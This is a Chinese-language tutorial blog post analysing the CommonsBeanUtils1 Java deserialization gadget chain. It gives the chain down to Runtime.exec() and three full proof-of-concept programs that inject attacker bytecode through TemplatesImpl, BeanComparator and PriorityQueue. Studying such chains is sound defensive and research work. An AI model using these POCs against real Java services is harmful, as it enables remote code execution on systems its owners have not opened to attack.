Java代码审计-CommonsBeanUtils1链分析
0x00 前言
CommonsBeanUtils1的链看了一下POC,确实思路很新奇,用了CommonsBeanUtils里面的PropertyUtils.getProperty方法去调用我们TemplatesImpl里面的newTransformer方法,在cc3的那篇文章只讲了一种调用的思路,其实在newTransformer的上一层还有一个方法去调用newTransformer的:

那就是getOutputProperties方法:
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }而且CommonsBeanUtils1这条链就很巧妙去利用JavaBean的Setter和Getter调用完成,只能说这个作者思路确实牛。
0x01 分析过程
环境准备
调试工具:IDEA
Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
pom文件配置:
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId> <artifactId>Java_code</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.8.1</version> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib</artifactId> <version>3.3.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.1</version> </dependency> <dependency> <groupId>com.beust</groupId> <artifactId>jcommander</artifactId> <version>1.48</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.11</version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.4.6</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> </dependencies>
</project>前置知识
学习这条链之前我们需要有一些前置的知识,如果对TemplatesImpl和PriorityQueue的用法还没熟悉的话可以先去看CC2那篇文章,当然也可以去看网上的一些文章,只要能让你去快速理解的的文章都行,但是一定要弄懂中间的思路。
我们来看下PropertyUtils.getProperty是怎么使用的,因为这个类是在beanutils里面的所以叫做CommonsBeanUtils1链。
我们先新建一个User类:
public class UserInfo{ private String userId; private String userName;
public UserInfo() { }
public UserInfo(String userId, String userName) { this.userId = userId; this.userName = userName; }
public String getUserId() { return userId; }
public void setUserId(String userId) { this.userId = userId; }
public String getUserName() { return userName; }
public void setUserName(String userName) { this.userName = userName; }
@Override public String toString() { return String.format("{userId:%s,userName:%s}", userId, userName); }}然后新建一个测试类,这里有设计maven的知识,可以去学习一下:
import org.apache.commons.beanutils.PropertyUtils;import org.junit.Test;public class PropertyUtilsTest{ @Test public void test() throws Exception { UserInfo userInfo = new UserInfo("xiaoming", "小明"); System.out.println(PropertyUtils.getProperty(userInfo, "userName")); }}整个流程下来的思路就是PropertyUtils.getProperty会通过传入的参数userName去userInfo对象中里面获取到getUserName的方法,所以CB1就是利用这个特性去调用getOutputProperties方法。
你们也可以去debug跟一下这个流程,主要起作用的是下面这方法:

它会走到getSimpleProperty方法,getReadMethod方法就是获取Bean的getUserName的方法,那么往下走就能看到使用反射的方式去调用我们的getUserName方法了:
} else { PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "'"); } else { Method readMethod = this.getReadMethod(descriptor); if (readMethod == null) { throw new NoSuchMethodException("Property '" + name + "' has no getter method"); } else { Object value = this.invokeMethod(readMethod, bean, new Object[0]); return value; } }ok,这个分析完之后,这条链还会用到一个类叫做BeanComparator,这个类的compare方法刚好是有调用到我们上面的PropertyUtils.getProperty。
public int compare(Object o1, Object o2) { if (this.property == null) { return this.comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.comparator.compare(value1, value2); } catch (Exception var5) { throw new ClassCastException(var5.toString()); } } }而且BeanComparator也符合我们PriorityQueue所需要的Comparator对象,因为它就是继承Comparator接口的。这个类其实没什么好讲的,他们的构造方法你可以传参数也可以不传参数:
public BeanComparator() { this((String)null);}
public BeanComparator(String property) { this(property, ComparableComparator.getInstance());}
public BeanComparator(String property, Comparator comparator) { this.setProperty(property); this.comparator = comparator;}CommonsBeanUtils1分析
先给出我们的利用链:
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() BeanComparator.compare() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec()POC如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;
import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
public class CB1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl");
BeanComparator beanComparator = new BeanComparator(); PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
setFieldValue(beanComparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{obj,obj}); setFieldValue(priorityQueue, "size", 2);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oss = new ObjectOutputStream(barr); oss.writeObject(priorityQueue); oss.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject();
}
}老规矩,我们先走一遍不用反序列化的流程:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;
public class CB1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties"); beanComparator.compare(obj,obj);
}
}这个是直接利用BeanComparator对象的compare方法,可以用里面的PropertyUtils.getProperty去调用TemplatesImpl的getOutputProperties,这样就算走完了整个触发流程。
我们还可以用PriorityQueue直接去调用反序列化里面的heapify方法,但是由于这个方法是私有的只能通过反射的方式去调用:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;
import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.PriorityQueue;
public class CB1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可 ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue();
setFieldValue(beanComparator,"property","outputProperties"); setFieldValue(priorityQueue,"queue",new Object[]{obj,obj}); setFieldValue(priorityQueue, "size", 2); Class aClass = priorityQueue.getClass(); Method heapify = aClass.getDeclaredMethod("heapify"); heapify.setAccessible(true); heapify.invoke(priorityQueue);
}
}0x02 总结
其实从CC1开始学,到后面的链会越来越快,调用的方式和方法就那么的几个,只要熬过前面的基础,后面就可以很方法去调用了。所以大家学到反序列化这块一定要熬过前面的阶段,弄懂其中的原理。
0x03 参考
https://blog.knownsec.com/index.html%3Fp=3413.html
https://x-f1v3.github.io/blog/1620289251280.html
Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用